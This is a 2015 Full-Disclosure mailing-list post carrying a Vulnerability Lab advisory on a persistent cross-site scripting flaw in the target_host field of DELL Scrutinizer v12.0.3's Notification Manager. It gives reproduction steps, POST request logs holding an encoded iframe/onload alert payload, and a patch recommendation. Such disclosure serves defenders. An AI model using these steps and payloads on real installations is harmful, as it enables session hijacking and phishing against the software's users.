'[FD] DELL Scrutinizer v12.0.3 - Persistent Software Vulnerability'

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List:       full-disclosure
Subject:    [FD] DELL Scrutinizer v12.0.3 - Persistent Software Vulnerability
From:       Vulnerability Lab <research () vulnerability-lab ! com>
Date:       2015-12-22 14:50:27
Message-ID: 56796333.6070009 () vulnerability-lab ! com
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Document Title:
===============
DELL Scrutinizer v12.0.3 - Persistent Software Vulnerability

References (Source):
====================
http://vulnerability-lab.com/get_content.php?id=1360

Tracking ID: 15943

Release Date:
=============
2015-12-18

Vulnerability Laboratory ID (VL-ID):
====================================
1360

Common Vulnerability Scoring System:
====================================
3.5

Product & Service Introduction:
===============================
Scrutinizerâ„¢ is at the foundation of the Plixer incident response and behavior analysis \
architecture. It is available as a  physical or virtual appliance, or as a windows download. \
Scrutinizer performs the collection, threat detection, and reporting  of all flow technologies \
on a single platform. It delivers real-time situational awareness into the applications and \
their  historical behaviors on the network. Massive scalability, supporting dozens of \
distributed collectors, Capable of archiving and  analyzing several million flows per second, \
Topology mapping with active links and Deduplication and stitching across collectors.

Dell SonicWALL Scrutinizer enables organizations to achieve uniquely granular, flexible and \
powerful insight into network  and application traffic, and it's compatible with Dell SonicWALL \
Next-Generation Firewall and third party product exports  of IPFIX data. Scrutinizer is also \
useful for reducing troubleshooting time for network performance issues. In addition,  \
Scrutinizer users, especially service providers, can take advantage of Scrutinizer to \
proactively monitor Quality of  Service (QoS) and generate invoicing data and Service Level \
Agreement (SLA) metrics reports.

(Copy of the MVendor Homepage: http://www.plixer.com/Scrutinizer-Netflow-Sflow/scrutinizer.html \
) (Copy of the Product Homepage: \
http://www.sonicwall.com/us/en/products/Scrutinizer-Netflow-Analyzer.html )

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent input validation web \
vulnerability in the official DELL Scrutinizer v12.0.3 Software.

Vulnerability Disclosure Timeline:
==================================
2014-11-24: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security)
2014-12-16: Vendor Notification (DELL Security Team - Scrutinizer)
2015-12-18: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
DELL
Product: Scrutinizer - Appliance Software 12.0.3

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official DELL \
Scrutinizer v12.0.3 Software. The vulnerability allows privileged user accounts and restricted \
user accounts to inject own malicious script codes to the application-side of scrutinizer \
software.

The vulnerability is located in the `target_host` (hostname) input field of the `Admins > \
Definitions >  Notification Manager` module.  Attackers are able to inject own script codes by \
manipulation of the POST method request in the `notification manager`. The attack  vector of \
the bug is persistent on the application-side and the request method to inject is POST. The \
vulnerability is a classic  input validation POST inject vulnerability. Attackers are also able \
to force a client-side execution by manipulation of special  crafted webpage links.

The security risk of the application-side web vulnerability is estimated as medium with a cvss \
(common vulnerability scoring  system) count of 3.5. Exploitation of the application-side web \
vulnerability requires a low privileged web-application user  account and low or medium user \
interaction. Successful exploitation of the vulnerability results in persistent phishing mails, \
 session hijacking, persistent external redirect to malicious sources and application-side \
manipulation of affected or connected  software module context.

Request Method(s):
					[+] POST

Vulnerable Module(s):
					[+] Definitions >  Notification Manager

Vulnerable Parameter(s):
					[+] target_host (hostname - profilname)

Affected Module(s):
					[+] Definitions >  Notification Manager >  Profile Name (Input) (notify.cgi) \
(http://localhost:8080/)

Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by local restricted user \
account with access privileges and with low user interaction. For security demonstration or to \
reproduce the security vulnerability follow the provided information and steps below to \
continue.

Manual steps to reproduce the vulnerability ...
1. Install the scrutinizer application
2. Start the service and login to the service
3. Click the admin navigation button and switch to the definitions section were the \
notification manager module is located 4. Include any random input to the profile name input
Note: Now, the service redirect to the edit mask profile
5. Include in the Host name input field your own script code payload and save via POST method \
request 6. The code execution occurs in the edit form of the definitions > notification manager \
module 7. Successful reproduce of the vulnerability in the notify.cgi!

PoC: Admins > Definitions >  Notification Manager >  Profile Name (Input) (notify.cgi)

<tbody><tr><th colspan="2">New Alert Setup
</th></tr><tr><td class=""> Profile Name</td>
<td class=""> test23
<input name="profile_name" id="profile_name" value="test23" type="hidden">
<input name="calling_program" value="logalot" type="hidden">
<input name="add_alert" id="add_alert" value="Syslog" type="hidden">
<input name="edit_alert_id" value="" type="hidden">
<input id="group_id" name="group_id" value="" type="hidden">
<input name="edit_profile" value="0" type="hidden"></td></tr>
<tr><td class="">Host</td><td class=""><input name="target_host" value="" \
type="TEXT"><[PERSISTENT INJECTED SCRIPT CODE!])" <"=""> <tr><td >UDP Port<TD><INPUT TYPE=TEXT \
NAME=syslog_port VALUE="514" size=3> <tr><td >Priority
<TD><SELECT NAME=priority_code>
<OPTION SELECTED>alert
<option>alert
<option>crit
<option>debug
<option>emerg
<option>err
<option>info
<option>notice
<option>warning

--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/cgi-bin/notify.cgi 
Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] GrÃ¶ÃŸe des Inhalts[1152] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
Accept[text/html, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer
[http://localhost:8080/]
      Content-Length[156]
      Cookie[cookiesenabled=1; userid=1; sessionid=nZHoS6vgaff7txmR; seenEvalModal=1; \
seenSkinModal=1]  Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
POST-Daten:
      edit_profile[0]
      profile_name[%22"><[PERSISTENT INJECTED SCRIPT CODE!]+%3C]
      add_alert[Syslog]
      group_id[]
      old_profile_name[]
      action[AddAlert]
      user_id[1]
Response Header:
Date[Mon, 24 Nov 2014 20:57:41 GMT]
      Server[Apache]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[1152]
      Keep-Alive[timeout=67, max=23]
      Connection[Keep-Alive]
      Content-Type[text/html]
-
Status: 200[OK] 
POST http://localhost:8080/cgi-bin/notify.cgi 
Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] GrÃ¶ÃŸe des Inhalts[1247] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0]
Accept[text/html, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer
[http://localhost:8080/]
      Content-Length[341]
      Cookie[cookiesenabled=1; userid=1; sessionid=nZHoS6vgaff7txmR; seenEvalModal=1; \
seenSkinModal=1]  Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
POST-Daten:
      profile_name[asdsad]
      calling_program[logalot]
      add_alert[Syslog]
      edit_alert_id[]
      group_id[]
      edit_profile[0]
      target_host[%22[PERSISTENT INJECTED SCRIPT \
CODE!])+%3C+%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22PENTEST%22)+%3C]  syslog_port[514]
      priority_code[alert]
      facility_code[auth]
      message[%25m]
      minutes_trigger[0]
      action[TestAlert]
      user_id[1]
Response Header:
Date[Mon, 24 Nov 2014 21:00:33 GMT]
      Server[Apache]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[1247]
      Keep-Alive[timeout=67, max=79]
      Connection[Keep-Alive]
      Content-Type[text/html]

Reference(s):
http://localhost:8080/cgi-bin/notify.cgi

http://localhost:8080/#tab=tab6&rpt_json={%22reportTypeLang%22%3A%22flowCountByDestination%22%2C%22devicename%22%3A%22Scrutinizer%22%2C%22
 deviceip%22%3A%22localhost:8080%22%2C%22reportDirections%22%3A{%22selected%22%3A%22inbound%22}%2C%22times%22%3A{%22dateRange%22%3A%22
 LastHour%22%2C%22start%22%3A%22%22%2C%22end%22%3A%22%22}%2C%22filters%22%3A{%22sdfDips_0%22%3A%22in_7F000001_ALL%22}%2C%22
 dataGranularity%22%3A{%22selected%22%3A%22auto%22}}&subCat=LogalotPrefs

http://localhost:8080/#tab=tab6&rpt_json={%22reportTypeLang%22%3A%22flowCountByDestination%22%2C%22devicename%22%3A%22Scrutinizer%22%2C%22
 deviceip%22%3A%22localhost:8080%22%2C%22reportDirections%22%3A{%22selected%22%3A%22inbound%22}%2C%22times%22%3A{%22dateRange%22%3A%22
 LastHour%22%2C%22start%22%3A%22%22%2C%22end%22%3A%22%22}%2C%22filters%22%3A{%22sdfDips_0%22%3A%22in_7F000001_ALL%22}%2C%22
 dataGranularity%22%3A{%22selected%22%3A%22auto%22}}&subCat=DataHistory

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the target_host input field.
Restrict the input field and encode the output of the dbms stored values to prevent persistent \
script code executions.

Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the target_host is \
estimated as medium (CVSS 3.5).

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) \
[www.vulnerability-lab.com]

Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. \
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warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its \
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consequential loss of business profits or special damages, even if Vulnerability-Lab  or its \
suppliers have been advised of the possibility of such damages. Some states do not allow the \
exclusion or limitation of liability for  consequential or incidental damages so the foregoing \
limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,  \
policies, deface websites, hack into databases or trade with fraud/stolen material.

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